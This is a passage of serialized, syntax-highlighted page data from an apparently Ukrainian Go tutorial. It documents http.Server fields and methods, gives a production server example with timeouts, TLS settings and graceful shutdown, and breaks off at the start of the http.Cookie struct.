клієнти\n",[5557,21637,21638,21641,21643,21645],{"class":5559,"line":5704},[5557,21639,21640],{"class":5654},"    ReadHeaderTimeout",[5557,21642,21172],{"class":5567},[5557,21644,5268],{"class":5585},[5557,21646,21621],{"class":5567},[5557,21648,21649],{"class":5559,"line":5732},[5557,21650,5575],{"emptyLinePlaceholder":5574},[5557,21652,21653],{"class":5559,"line":5738},[5557,21654,21655],{"class":5647},"    \u002F\u002F Таймаут запису відповіді\n",[5557,21657,21658,21661,21663,21665],{"class":5559,"line":5755},[5557,21659,21660],{"class":5654},"    WriteTimeout",[5557,21662,21172],{"class":5567},[5557,21664,5268],{"class":5585},[5557,21666,21621],{"class":5567},[5557,21668,21669],{"class":5559,"line":5760},[5557,21670,5575],{"emptyLinePlaceholder":5574},[5557,21672,21673],{"class":5559,"line":5778},[5557,21674,21675],{"class":5647},"    \u002F\u002F Таймаут очікування наступного запиту при keep-alive\n",[5557,21677,21678,21681,21683,21685],{"class":5559,"line":5794},[5557,21679,21680],{"class":5654},"    IdleTimeout",[5557,21682,21172],{"class":5567},[5557,21684,5268],{"class":5585},[5557,21686,21621],{"class":5567},[5557,21688,21689],{"class":5559,"line":5799},[5557,21690,5575],{"emptyLinePlaceholder":5574},[5557,21692,21693],{"class":5559,"line":5807},[5557,21694,21695],{"class":5647},"    \u002F\u002F Максимальний розмір заголовків запиту (за замовчуванням 1 MB)\n",[5557,21697,21698,21701],{"class":5559,"line":5813},[5557,21699,21700],{"class":5654},"    MaxHeaderBytes",[5557,21702,14586],{"class":5567},[5557,21704,21705],{"class":5559,"line":5835},[5557,21706,5575],{"emptyLinePlaceholder":5574},[5557,21708,21709],{"class":5559,"line":5849},[5557,21710,21711],{"class":5647},"    \u002F\u002F TLS конфігурація (для HTTPS)\n",[5557,21713,21714,21717,21719,21721,21723],{"class":5559,"line":5875},[5557,21715,21716],{"class":5654},"    TLSConfig",[5557,21718,8925],{"class":5585},[5557,21720,16848],{"class":5567},[5557,21722,5268],{"class":5585},[5557,21724,21725],{"class":5567},"Config\n",[5557,21727,21728],{"class":5559,"line":5881},[5557,21729,5575],{"emptyLinePlaceholder":5574},[5557,21731,21732],{"class":5559,"line":5887},[5557,21733,21734],{"class":5647},"    \u002F\u002F Налаштування HTTP\u002F2\n",[5557,21736,21737],{"class":5559,"line":5892},[5557,21738,21739],{"class":5647},"    \u002F\u002F Автоматично активується для TLS, якщо не вимкнено\n",[5557,21741,21742,21745,21747,21749,21751,21753,21755,21758,21761,21763,21765,21767,21769,21771,21773],{"class":5559,"line":5898},[5557,21743,21744],{"class":5654},"    TLSNextProto",[5557,21746,17363],{"class":5563},[5557,21748,6192],{"class":5585},[5557,21750,6692],{"class":5567},[5557,21752,6689],{"class":5585},[5557,21754,5634],{"class":5563},[5557,21756,21757],{"class":5585},"(*",[5557,21759,21760],{"class":5567},"Server",[5557,21762,19088],{"class":5585},[5557,21764,16848],{"class":5567},[5557,21766,5268],{"class":5585},[5557,21768,5946],{"class":5567},[5557,21770,5305],{"class":5585},[5557,21772,11743],{"class":5567},[5557,21774,5623],{"class":5585},[5557,21776,21777],{"class":5559,"line":5914},[5557,21778,5575],{"emptyLinePlaceholder":5574},[5557,21780,21781],{"class":5559,"line":5919},[5557,21782,21783],{"class":5647},"    \u002F\u002F Час очікування плавного завершення\n",[5557,21785,21786],{"class":5559,"line":5925},[5557,21787,21788],{"class":5647},"    \u002F\u002F (не поле структури, передається в Shutdown)\n",[5557,21790,21791],{"class":5559,"line":5930},[5557,21792,5575],{"emptyLinePlaceholder":5574},[5557,21794,21795],{"class":5559,"line":5952},[5557,21796,21797],{"class":5647},"    \u002F\u002F Функція для логування помилок\n",[5557,21799,21800,21803,21805,21808,21810],{"class":5559,"line":5966},[5557,21801,21802],{"class":5654},"    ErrorLog",[5557,21804,8925],{"class":5585},[5557,21806,21807],{"class":5567},"log",[5557,21809,5268],{"class":5585},[5557,21811,21812],{"class":5567},"Logger\n",[5557,21814,21815],{"class":5559,"line":5971},[5557,21816,5575],{"emptyLinePlaceholder":5574},[5557,21818,21819],{"class":5559,"line":5977},[5557,21820,21821],{"class":5647},"    \u002F\u002F Базовий контекст для всіх запитів\n",[5557,21823,21824,21827,21830,21832,21834,21836,21839,21841,21843,21845],{"class":5559,"line":5998},[5557,21825,21826],{"class":5654},"    BaseContext",[5557,21828,21829],{"class":5563}," func",[5557,21831,5673],{"class":5585},[5557,21833,5308],{"class":5567},[5557,21835,5268],{"class":5585},[5557,21837,21838],{"class":5567},"Listener",[5557,21840,10276],{"class":5585},[5557,21842,5317],{"class":5567},[5557,21844,5268],{"class":5585},[5557,21846,16907],{"class":5567},[5557,21848,21849],{"class":5559,"line":6003},[5557,21850,5575],{"emptyLinePlaceholder":5574},[5557,21852,21853],{"class":5559,"line":6009},[5557,21854,21855],{"class":5647},"    \u002F\u002F Функція для налаштування контексту кожного запиту\n",[5557,21857,21858,21861,21863,21865,21867,21869,21871,21873,21875,21878,21880,21882,21884,21886,21888,21890],{"class":5559,"line":6036},[5557,21859,21860],{"class":5654},"    ConnContext",[5557,21862,21829],{"class":5563},[5557,21864,5673],{"class":5585},[5557,21866,18853],{"class":5654},[5557,21868,16902],{"class":5567},[5557,21870,5268],{"class":5585},[5557,21872,18814],{"class":5567},[5557,21874,5305],{"class":5585},[5557,21876,21877],{"class":5654},"c",[5557,21879,5941],{"class":5567},[5557,21881,5268],{"class":5585},[5557,21883,5946],{"class":5567},[5557,21885,10276],{"class":5585},[5557,21887,5317],{"class":5567},[5557,21889,5268],{"class":5585},[5557,21891,16907],{"class":5567},[5557,21893,21894],{"class":5559,"line":6049},[5557,21895,5922],{"class":5585},[7759,21897,21899,21900],{"id":21898},"методи-httpserver","Методи ",[5236,21901,5257],{},[5464,21903,21905],{"className":5550,"code":21904,"language":5553,"meta":5472,"style":5472},"\u002F\u002F Запуск HTTP-сервера (блокуючий виклик)\nfunc (srv *Server) ListenAndServe() error\n\n\u002F\u002F Запуск HTTPS-сервера\nfunc (srv *Server) ListenAndServeTLS(certFile, keyFile string) error\n\n\u002F\u002F Запуск сервера на існуючому listener\nfunc (srv *Server) Serve(l net.Listener) error\n\n\u002F\u002F Плавне завершення (чекає завершення активних запитів)\nfunc (srv *Server) Shutdown(ctx context.Context) error\n\n\u002F\u002F Негайне закриття (обриває активні з'єднання)\nfunc (srv *Server) Close() error\n\n\u002F\u002F Реєстрація функції, яка викликається при завершенні сервера\nfunc (srv *Server) RegisterOnShutdown(f func())\n",[5236,21906,21907,21912,21933,21937,21942,21975,21979,21984,22016,22020,22025,22056,22060,22065,22085,22089,22094],{"__ignoreMap":5472},[5557,21908,21909],{"class":5559,"line":5560},[5557,21910,21911],{"class":5647},"\u002F\u002F Запуск HTTP-сервера (блокуючий виклик)\n",[5557,21913,21914,21916,21918,21921,21923,21925,21927,21929,21931],{"class":5559,"line":5571},[5557,21915,5634],{"class":5563},[5557,21917,5226],{"class":5585},[5557,21919,21920],{"class":5654},"srv ",[5557,21922,18338],{"class":5585},[5557,21924,21760],{"class":5567},[5557,21926,10276],{"class":5585},[5557,21928,12422],{"class":5637},[5557,21930,8953],{"class":5585},[5557,21932,18031],{"class":5567},[5557,21934,21935],{"class":5559,"line":5578},[5557,21936,5575],{"emptyLinePlaceholder":5574},[5557,21938,21939],{"class":5559,"line":5589},[5557,21940,21941],{"class":5647},"\u002F\u002F Запуск HTTPS-сервера\n",[5557,21943,21944,21946,21948,21950,21952,21954,21956,21959,21961,21964,21966,21969,21971,21973],{"class":5559,"line":5596},[5557,21945,5634],{"class":5563},[5557,21947,5226],{"class":5585},[5557,21949,21920],{"class":5654},[5557,21951,18338],{"class":5585},[5557,21953,21760],{"class":5567},[5557,21955,10276],{"class":5585},[5557,21957,21958],{"class":5637},"ListenAndServeTLS",[5557,21960,5673],{"class":5585},[5557,21962,21963],{"class":5654},"certFile",[5557,21965,5305],{"class":5585},[5557,21967,21968],{"class":5654},"keyFile",[5557,21970,6662],{"class":5567},[5557,21972,10276],{"class":5585},[5557,21974,18031],{"class":5567},[5557,21976,21977],{"class":5559,"line":5602},[5557,21978,5575],{"emptyLinePlaceholder":5574},[5557,21980,21981],{"class":5559,"line":5608},[5557,21982,21983],{"class":5647},"\u002F\u002F Запуск сервера на існуючому listener\n",[5557,21985,21986,21988,21990,21992,21994,21996,21998,22001,22003,22006,22008,22010,22012,22014],{"class":5559,"line":5614},[5557,21987,5634],{"class":5563},[5557,21989,5226],{"class":5585},[5557,21991,21920],{"class":5654},[5557,21993,18338],{"class":5585},[5557,21995,21760],{"class":5567},[5557,21997,10276],{"class":5585},[5557,21999,22000],{"class":5637},"Serve",[5557,22002,5673],{"class":5585},[5557,22004,22005],{"class":5654},"l",[5557,22007,5941],{"class":5567},[5557,22009,5268],{"class":5585},[5557,22011,21838],{"class":5567},[5557,22013,10276],{"class":5585},[5557,22015,18031],{"class":5567},[5557,22017,22018],{"class":5559,"line":5620},[5557,22019,5575],{"emptyLinePlaceholder":5574},[5557,22021,22022],{"class":5559,"line":5626},[5557,22023,22024],{"class":5647},"\u002F\u002F Плавне завершення (чекає завершення активних запитів)\n",[5557,22026,22027,22029,22031,22033,22035,22037,22039,22042,22044,22046,22048,22050,22052,22054],{"class":5559,"line":5631},[5557,22028,5634],{"class":5563},[5557,22030,5226],{"class":5585},[5557,22032,21920],{"class":5654},[5557,22034,18338],{"class":5585},[5557,22036,21760],{"class":5567},[5557,22038,10276],{"class":5585},[5557,22040,22041],{"class":5637},"Shutdown",[5557,22043,5673],{"class":5585},[5557,22045,18853],{"class":5654},[5557,22047,16902],{"class":5567},[5557,22049,5268],{"class":5585},[5557,22051,18814],{"class":5567},[5557,22053,10276],{"class":5585},[5557,22055,18031],{"class":5567},[5557,22057,22058],{"class":5559,"line":5644},[5557,22059,5575],{"emptyLinePlaceholder":5574},[5557,22061,22062],{"class":5559,"line":5651},[5557,22063,22064],{"class":5647},"\u002F\u002F Негайне закриття (обриває активні з'єднання)\n",[5557,22066,22067,22069,22071,22073,22075,22077,22079,22081,22083],{"class":5559,"line":5686},[5557,22068,5634],{"class":5563},[5557,22070,5226],{"class":5585},[5557,22072,21920],{"class":5654},[5557,22074,18338],{"class":5585},[5557,22076,21760],{"class":5567},[5557,22078,10276],{"class":5585},[5557,22080,5749],{"class":5637},[5557,22082,8953],{"class":5585},[5557,22084,18031],{"class":5567},[5557,22086,22087],{"class":5559,"line":5704},[5557,22088,5575],{"emptyLinePlaceholder":5574},[5557,22090,22091],{"class":5559,"line":5732},[5557,22092,22093],{"class":5647},"\u002F\u002F Реєстрація функції, яка викликається при завершенні сервера\n",[5557,22095,22096,22098,22100,22102,22104,22106,22108,22111,22113,22116,22118],{"class":5559,"line":5738},[5557,22097,5634],{"class":5563},[5557,22099,5226],{"class":5585},[5557,22101,21920],{"class":5654},[5557,22103,18338],{"class":5585},[5557,22105,21760],{"class":5567},[5557,22107,10276],{"class":5585},[5557,22109,22110],{"class":5637},"RegisterOnShutdown",[5557,22112,5673],{"class":5585},[5557,22114,22115],{"class":5654},"f",[5557,22117,21829],{"class":5563},[5557,22119,6270],{"class":5585},[5348,22121,22122],{},[5205,22123,22124],{},"Приклад повної конфігурації продакшн-сервера:",[5464,22126,22128],{"className":5550,"code":22127,"language":5553,"meta":5472,"style":5472},"func main() {\n    mux := http.NewServeMux()\n    mux.HandleFunc(\"\u002F\", homeHandler)\n\n    server := &http.Server{\n        Addr:    \":8080\",\n        Handler: mux,\n\n        \u002F\u002F Захист від повільних клієнтів\n        ReadTimeout:       10 * time.Second,\n        ReadHeaderTimeout: 5 * time.Second,\n        WriteTimeout:      10 * time.Second,\n        IdleTimeout:       120 * time.Second,\n\n        \u002F\u002F Обмеження розміру заголовків (1 MB)\n        MaxHeaderBytes: 1 \u003C\u003C 20,\n\n        \u002F\u002F Кастомний логер помилок\n        ErrorLog: log.New(os.Stderr, \"HTTP ERROR: \", log.LstdFlags),\n\n        \u002F\u002F TLS конфігурація (для HTTPS)\n        TLSConfig: &tls.Config{\n            MinVersion:               tls.VersionTLS12,\n            CurvePreferences:         []tls.CurveID{tls.X25519, tls.CurveP256},\n            PreferServerCipherSuites: true,\n            CipherSuites: []uint16{\n                tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\n                tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n                tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\n                tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n            },\n        },\n    }\n\n    \u002F\u002F Запуск у горутині\n    go func() {\n        log.Println(\"Server starting on :8080\")\n        if err := server.ListenAndServe(); err != http.ErrServerClosed {\n            log.Fatalf(\"Server failed: %v\", err)\n        }\n    }()\n\n    \u002F\u002F Graceful Shutdown\n    quit := make(chan os.Signal, 1)\n    signal.Notify(quit, os.Interrupt, syscall.SIGTERM)\n    \u003C-quit\n\n    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)\n    defer cancel()\n\n    if err := server.Shutdown(ctx); err != nil {\n        log.Fatalf(\"Shutdown failed: %v\", err)\n    }\n\n    log.Println(\"Server stopped gracefully\")\n}\n",[5236,22129,22130,22138,22152,22170,22174,22189,22200,22211,22215,22220,22240,22260,22280,22300,22304,22309,22326,22330,22335,22374,22378,22383,22400,22417,22452,22463,22476,22488,22499,22510,22521,22526,22531,22535,22539,22544,22553,22568,22598,22621,22625,22630,22634,22639,22667,22703,22711,22715,22757,22766,22770,22798,22821,22825,22829,22844],{"__ignoreMap":5472},[5557,22131,22132,22134,22136],{"class":5559,"line":5560},[5557,22133,5634],{"class":5563},[5557,22135,5638],{"class":5637},[5557,22137,5641],{"class":5585},[5557,22139,22140,22142,22144,22146,22148,22150],{"class":5559,"line":5571},[5557,22141,12612],{"class":5654},[5557,22143,5663],{"class":5585},[5557,22145,8928],{"class":5654},[5557,22147,5268],{"class":5585},[5557,22149,12621],{"class":5637},[5557,22151,5752],{"class":5585},[5557,22153,22154,22156,22158,22160,22162,22164,22166,22168],{"class":5559,"line":5578},[5557,22155,12612],{"class":5654},[5557,22157,5268],{"class":5585},[5557,22159,12316],{"class":5637},[5557,22161,5673],{"class":5585},[5557,22163,9017],{"class":5592},[5557,22165,5305],{"class":5585},[5557,22167,12649],{"class":5654},[5557,22169,5623],{"class":5585},[5557,22171,22172],{"class":5559,"line":5589},[5557,22173,5575],{"emptyLinePlaceholder":5574},[5557,22175,22176,22179,22181,22183,22185,22187],{"class":5559,"line":5596},[5557,22177,22178],{"class":5654},"    server",[5557,22180,8973],{"class":5585},[5557,22182,8928],{"class":5567},[5557,22184,5268],{"class":5585},[5557,22186,21760],{"class":5567},[5557,22188,6695],{"class":5585},[5557,22190,22191,22194,22196,22198],{"class":5559,"line":5602},[5557,22192,22193],{"class":5654},"        Addr",[5557,22195,9002],{"class":5585},[5557,22197,5681],{"class":5592},[5557,22199,6710],{"class":5585},[5557,22201,22202,22205,22207,22209],{"class":5559,"line":5608},[5557,22203,22204],{"class":5654},"        Handler",[5557,22206,6704],{"class":5585},[5557,22208,12726],{"class":5654},[5557,22210,6710],{"class":5585},[5557,22212,22213],{"class":5559,"line":5614},[5557,22214,5575],{"emptyLinePlaceholder":5574},[5557,22216,22217],{"class":5559,"line":5620},[5557,22218,22219],{"class":5647},"        \u002F\u002F Захист від повільних клієнтів\n",[5557,22221,22222,22225,22228,22230,22232,22234,22236,22238],{"class":5559,"line":5626},[5557,22223,22224],{"class":5654},"        ReadTimeout",[5557,22226,22227],{"class":5585},":       ",[5557,22229,18335],{"class":6134},[5557,22231,20429],{"class":5585},[5557,22233,20432],{"class":5654},[5557,22235,5268],{"class":5585},[5557,22237,20437],{"class":5654},[5557,22239,6710],{"class":5585},[5557,22241,22242,22245,22247,22250,22252,22254,22256,22258],{"class":5559,"line":5631},[5557,22243,22244],{"class":5654},"        ReadHeaderTimeout",[5557,22246,6704],{"class":5585},[5557,22248,22249],{"class":6134},"5",[5557,22251,20429],{"class":5585},[5557,22253,20432],{"class":5654},[5557,22255,5268],{"class":5585},[5557,22257,20437],{"class":5654},[5557,22259,6710],{"class":5585},[5557,22261,22262,22265,22268,22270,22272,22274,22276,22278],{"class":5559,"line":5644},[5557,22263,22264],{"class":5654},"        WriteTimeout",[5557,22266,22267],{"class":5585},":      ",[5557,22269,18335],{"class":6134},[5557,22271,20429],{"class":5585},[5557,22273,20432],{"class":5654},[5557,22275,5268],{"class":5585},[5557,22277,20437],{"class":5654},[5557,22279,6710],{"class":5585},[5557,22281,22282,22285,22287,22290,22292,22294,22296,22298],{"class":5559,"line":5651},[5557,22283,22284],{"class":5654},"        IdleTimeout",[5557,22286,22227],{"class":5585},[5557,22288,22289],{"class":6134},"120",[5557,22291,20429],{"class":5585},[5557,22293,20432],{"class":5654},[5557,22295,5268],{"class":5585},[5557,22297,20437],{"class":5654},[5557,22299,6710],{"class":5585},[5557,22301,22302],{"class":5559,"line":5686},[5557,22303,5575],{"emptyLinePlaceholder":5574},[5557,22305,22306],{"class":5559,"line":5704},[5557,22307,22308],{"class":5647},"        \u002F\u002F Обмеження розміру заголовків (1 MB)\n",[5557,22310,22311,22314,22316,22318,22321,22324],{"class":5559,"line":5732},[5557,22312,22313],{"class":5654},"        MaxHeaderBytes",[5557,22315,6704],{"class":5585},[5557,22317,6213],{"class":6134},[5557,22319,22320],{"class":5585}," \u003C\u003C ",[5557,22322,22323],{"class":6134},"20",[5557,22325,6710],{"class":5585},[5557,22327,22328],{"class":5559,"line":5738},[5557,22329,5575],{"emptyLinePlaceholder":5574},[5557,22331,22332],{"class":5559,"line":5755},[5557,22333,22334],{"class":5647},"        \u002F\u002F Кастомний логер помилок\n",[5557,22336,22337,22340,22342,22344,22346,22349,22351,22353,22355,22358,22360,22363,22365,22367,22369,22372],{"class":5559,"line":5760},[5557,22338,22339],{"class":5654},"        ErrorLog",[5557,22341,6704],{"class":5585},[5557,22343,21807],{"class":5654},[5557,22345,5268],{"class":5585},[5557,22347,22348],{"class":5637},"New",[5557,22350,5673],{"class":5585},[5557,22352,18373],{"class":5654},[5557,22354,5268],{"class":5585},[5557,22356,22357],{"class":5654},"Stderr",[5557,22359,5305],{"class":5585},[5557,22361,22362],{"class":5592},"\"HTTP ERROR: \"",[5557,22364,5305],{"class":5585},[5557,22366,21807],{"class":5654},[5557,22368,5268],{"class":5585},[5557,22370,22371],{"class":5654},"LstdFlags",[5557,22373,14647],{"class":5585},[5557,22375,22376],{"class":5559,"line":5778},[5557,22377,5575],{"emptyLinePlaceholder":5574},[5557,22379,22380],{"class":5559,"line":5794},[5557,22381,22382],{"class":5647},"        \u002F\u002F TLS конфігурація (для HTTPS)\n",[5557,22384,22385,22388,22391,22393,22395,22398],{"class":5559,"line":5799},[5557,22386,22387],{"class":5654},"        TLSConfig",[5557,22389,22390],{"class":5585},": &",[5557,22392,16848],{"class":5567},[5557,22394,5268],{"class":5585},[5557,22396,22397],{"class":5567},"Config",[5557,22399,6695],{"class":5585},[5557,22401,22402,22405,22408,22410,22412,22415],{"class":5559,"line":5807},[5557,22403,22404],{"class":5654},"            MinVersion",[5557,22406,22407],{"class":5585},":               ",[5557,22409,16848],{"class":5654},[5557,22411,5268],{"class":5585},[5557,22413,22414],{"class":5654},"VersionTLS12",[5557,22416,6710],{"class":5585},[5557,22418,22419,22422,22425,22427,22429,22432,22434,22436,22438,22441,22443,22445,22447,22450],{"class":5559,"line":5813},[5557,22420,22421],{"class":5654},"            CurvePreferences",[5557,22423,22424],{"class":5585},":         []",[5557,22426,16848],{"class":5567},[5557,22428,5268],{"class":5585},[5557,22430,22431],{"class":5567},"CurveID",[5557,22433,7065],{"class":5585},[5557,22435,16848],{"class":5654},[5557,22437,5268],{"class":5585},[5557,22439,22440],{"class":5654},"X25519",[5557,22442,5305],{"class":5585},[5557,22444,16848],{"class":5654},[5557,22446,5268],{"class":5585},[5557,22448,22449],{"class":5654},"CurveP256",[5557,22451,11339],{"class":5585},[5557,22453,22454,22457,22459,22461],{"class":5559,"line":5835},[5557,22455,22456],{"class":5654},"            PreferServerCipherSuites",[5557,22458,6704],{"class":5585},[5557,22460,9046],{"class":5563},[5557,22462,6710],{"class":5585},[5557,22464,22465,22468,22471,22474],{"class":5559,"line":5849},[5557,22466,22467],{"class":5654},"            CipherSuites",[5557,22469,22470],{"class":5585},": []",[5557,22472,22473],{"class":5567},"uint16",[5557,22475,6695],{"class":5585},[5557,22477,22478,22481,22483,22486],{"class":5559,"line":5875},[5557,22479,22480],{"class":5654},"                tls",[5557,22482,5268],{"class":5585},[5557,22484,22485],{"class":5654},"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384",[5557,22487,6710],{"class":5585},[5557,22489,22490,22492,22494,22497],{"class":5559,"line":5881},[5557,22491,22480],{"class":5654},[5557,22493,5268],{"class":5585},[5557,22495,22496],{"class":5654},"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384",[5557,22498,6710],{"class":5585},[5557,22500,22501,22503,22505,22508],{"class":5559,"line":5887},[5557,22502,22480],{"class":5654},[5557,22504,5268],{"class":5585},[5557,22506,22507],{"class":5654},"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256",[5557,22509,6710],{"class":5585},[5557,22511,22512,22514,22516,22519],{"class":5559,"line":5892},[5557,22513,22480],{"class":5654},[5557,22515,5268],{"class":5585},[5557,22517,22518],{"class":5654},"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256",[5557,22520,6710],{"class":5585},[5557,22522,22523],{"class":5559,"line":5898},[5557,22524,22525],{"class":5585},"            },\n",[5557,22527,22528],{"class":5559,"line":5914},[5557,22529,22530],{"class":5585},"        },\n",[5557,22532,22533],{"class":5559,"line":5919},[5557,22534,5735],{"class":5585},[5557,22536,22537],{"class":5559,"line":5925},[5557,22538,5575],{"emptyLinePlaceholder":5574},[5557,22540,22541],{"class":5559,"line":5930},[5557,22542,22543],{"class":5647},"    \u002F\u002F Запуск у горутині\n",[5557,22545,22546,22549,22551],{"class":5559,"line":5952},[5557,22547,22548],{"class":5581},"    go",[5557,22550,21829],{"class":5563},[5557,22552,5641],{"class":5585},[5557,22554,22555,22557,22559,22561,22563,22566],{"class":5559,"line":5966},[5557,22556,5707],{"class":5654},[5557,22558,5268],{"class":5585},[5557,22560,5768],{"class":5637},[5557,22562,5673],{"class":5585},[5557,22564,22565],{"class":5592},"\"Server starting on :8080\"",[5557,22567,5623],{"class":5585},[5557,22569,22570,22572,22574,22576,22579,22581,22583,22585,22587,22589,22591,22593,22596],{"class":5559,"line":5971},[5557,22571,5838],{"class":5581},[5557,22573,5692],{"class":5654},[5557,22575,5663],{"class":5585},[5557,22577,22578],{"class":5654},"server",[5557,22580,5268],{"class":5585},[5557,22582,12422],{"class":5637},[5557,22584,19305],{"class":5585},[5557,22586,5660],{"class":5654},[5557,22588,5695],{"class":5585},[5557,22590,8928],{"class":5654},[5557,22592,5268],{"class":5585},[5557,22594,22595],{"class":5654},"ErrServerClosed",[5557,22597,5701],{"class":5585},[5557,22599,22600,22602,22604,22606,22608,22611,22613,22615,22617,22619],{"class":5559,"line":5977},[5557,22601,5852],{"class":5654},[5557,22603,5268],{"class":5585},[5557,22605,5712],{"class":5637},[5557,22607,5673],{"class":5585},[5557,22609,22610],{"class":5592},"\"Server failed: ",[5557,22612,5720],{"class":5654},[5557,22614,5723],{"class":5592},[5557,22616,5305],{"class":5585},[5557,22618,5660],{"class":5654},[5557,22620,5623],{"class":5585},[5557,22622,22623],{"class":5559,"line":5998},[5557,22624,5884],{"class":5585},[5557,22626,22627],{"class":5559,"line":6003},[5557,22628,22629],{"class":5585},"    }()\n",[5557,22631,22632],{"class":5559,"line":6009},[5557,22633,5575],{"emptyLinePlaceholder":5574},[5557,22635,22636],{"class":5559,"line":6036},[5557,22637,22638],{"class":5647},"    \u002F\u002F Graceful Shutdown\n",[5557,22640,22641,22644,22646,22648,22650,22653,22656,22658,22661,22663,22665],{"class":5559,"line":6049},[5557,22642,22643],{"class":5654},"    quit",[5557,22645,5663],{"class":5585},[5557,22647,14631],{"class":5637},[5557,22649,5673],{"class":5585},[5557,22651,22652],{"class":5563},"chan",[5557,22654,22655],{"class":5567}," os",[5557,22657,5268],{"class":5585},[5557,22659,22660],{"class":5567},"Signal",[5557,22662,5305],{"class":5585},[5557,22664,6213],{"class":6134},[5557,22666,5623],{"class":5585},[5557,22668,22669,22672,22674,22677,22679,22682,22684,22686,22688,22691,22693,22696,22698,22701],{"class":5559,"line":6073},[5557,22670,22671],{"class":5654},"    signal",[5557,22673,5268],{"class":5585},[5557,22675,22676],{"class":5637},"Notify",[5557,22678,5673],{"class":5585},[5557,22680,22681],{"class":5654},"quit",[5557,22683,5305],{"class":5585},[5557,22685,18373],{"class":5654},[5557,22687,5268],{"class":5585},[5557,22689,22690],{"class":5654},"Interrupt",[5557,22692,5305],{"class":5585},[5557,22694,22695],{"class":5654},"syscall",[5557,22697,5268],{"class":5585},[5557,22699,22700],{"class":5654},"SIGTERM",[5557,22702,5623],{"class":5585},[5557,22704,22705,22708],{"class":5559,"line":6079},[5557,22706,22707],{"class":5585},"    \u003C-",[5557,22709,22710],{"class":5654},"quit\n",[5557,22712,22713],{"class":5559,"line":6084},[5557,22714,5575],{"emptyLinePlaceholder":5574},[5557,22716,22717,22719,22721,22724,22726,22728,22730,22733,22735,22737,22739,22742,22744,22747,22749,22751,22753,22755],{"class":5559,"line":6089},[5557,22718,16899],{"class":5654},[5557,22720,5305],{"class":5585},[5557,22722,22723],{"class":5654},"cancel",[5557,22725,5663],{"class":5585},[5557,22727,5317],{"class":5654},[5557,22729,5268],{"class":5585},[5557,22731,22732],{"class":5637},"WithTimeout",[5557,22734,5673],{"class":5585},[5557,22736,5317],{"class":5654},[5557,22738,5268],{"class":5585},[5557,22740,22741],{"class":5637},"Background",[5557,22743,20677],{"class":5585},[5557,22745,22746],{"class":6134},"30",[5557,22748,18338],{"class":5585},[5557,22750,20432],{"class":5654},[5557,22752,5268],{"class":5585},[5557,22754,20437],{"class":5654},[5557,22756,5623],{"class":5585},[5557,22758,22759,22761,22764],{"class":5559,"line":6095},[5557,22760,5741],{"class":5581},[5557,22762,22763],{"class":5637}," cancel",[5557,22765,5752],{"class":5585},[5557,22767,22768],{"class":5559,"line":6118},[5557,22769,5575],{"emptyLinePlaceholder":5574},[5557,22771,22772,22774,22776,22778,22780,22782,22784,22786,22788,22790,22792,22794,22796],{"class":5559,"line":6140},[5557,22773,5689],{"class":5581},[5557,22775,5692],{"class":5654},[5557,22777,5663],{"class":5585},[5557,22779,22578],{"class":5654},[5557,22781,5268],{"class":5585},[5557,22783,22041],{"class":5637},[5557,22785,5673],{"class":5585},[5557,22787,18853],{"class":5654},[5557,22789,15210],{"class":5585},[5557,22791,5660],{"class":5654},[5557,22793,5695],{"class":5585},[5557,22795,5698],{"class":5563},[5557,22797,5701],{"class":5585},[5557,22799,22800,22802,22804,22806,22808,22811,22813,22815,22817,22819],{"class":5559,"line":6167},[5557,22801,5707],{"class":5654},[5557,22803,5268],{"class":5585},[5557,22805,5712],{"class":5637},[5557,22807,5673],{"class":5585},[5557,22809,22810],{"class":5592},"\"Shutdown failed: ",[5557,22812,5720],{"class":5654},[5557,22814,5723],{"class":5592},[5557,22816,5305],{"class":5585},[5557,22818,5660],{"class":5654},[5557,22820,5623],{"class":5585},[5557,22822,22823],{"class":5559,"line":6172},[5557,22824,5735],{"class":5585},[5557,22826,22827],{"class":5559,"line":6177},[5557,22828,5575],{"emptyLinePlaceholder":5574},[5557,22830,22831,22833,22835,22837,22839,22842],{"class":5559,"line":6182},[5557,22832,6226],{"class":5654},[5557,22834,5268],{"class":5585},[5557,22836,5768],{"class":5637},[5557,22838,5673],{"class":5585},[5557,22840,22841],{"class":5592},"\"Server stopped gracefully\"",[5557,22843,5623],{"class":5585},[5557,22845,22846],{"class":5559,"line":6201},[5557,22847,5922],{"class":5585},[7167,22849,16563,22851,22854],{"id":22850},"структура-httpcookie-робота-з-куками",[5236,22852,22853],{},"http.Cookie",": робота з куками",[5464,22856,22858],{"className":5550,"code":22857,"language":5553,"meta":5472,"style":5472},"type Cookie struct {\n    Name  string    \u002F\u002F Ім'я cookie\n    Value string    \u002F\u002F Значення cookie\n\n    Path       string    \u002F\u002F URL шлях, для якого cookie валідний\n    Domain     string    \u002F\u002F Домен, для якого cookie валідний\n    Expires    time.Time \u002F\u002F Абсолютний час закінчення терміну дії\n    RawExpires string    \u002F\u002F Сирове значення Expires для читання\n\n    MaxAge   int  \u002F\u002F Час життя в секундах (0 = session, \u003C0 = видалити)\n    Secure   bool \u002F\u002F Тільки HTTPS\n    HttpOnly bool \u002F\u002F Недоступний через JavaScript\n    SameSite SameSite \u002F\u002F Політика Same-Site\n\n    Raw      string   \u002F\u002F Сире значення cookie\n    Unparsed []string \u002F\u002F Нерозібрані атрибути\n}\n",[5236,22859,22860,22871,22881,22891,22895,22905,22915,22930,22940,22944,22955,22966,22976,22987,22991,23001,23013],{"__ignoreMap":5472},[5557,22861,22862,22864,22867,22869],{"class":5559,"line":5560},[5557,22863,11991],{"class":5563},[5557,22865,22866],{"class":5567}," Cookie",[5557,22868,11997],{"class":5563},[5557,22870,5701],{"class":5585},[5557,22872,22873,22876,22878],{"class":5559,"line":5571},[5557,22874,22875],{"class":5654},"    Name",[5557,22877,16998],{"class":5567},[5557,22879,22880],{"class":5647},"    \u002F\u002F Ім'я cookie\n",[5557,22882,22883,22886,22888],{"class":5559,"line":5578},[5557,22884,22885],{"class":5654},"    Value",[5557,22887,6662],{"class":5567},[5557,22889,22890],{"class":5647},"    \u002F\u002F Значення 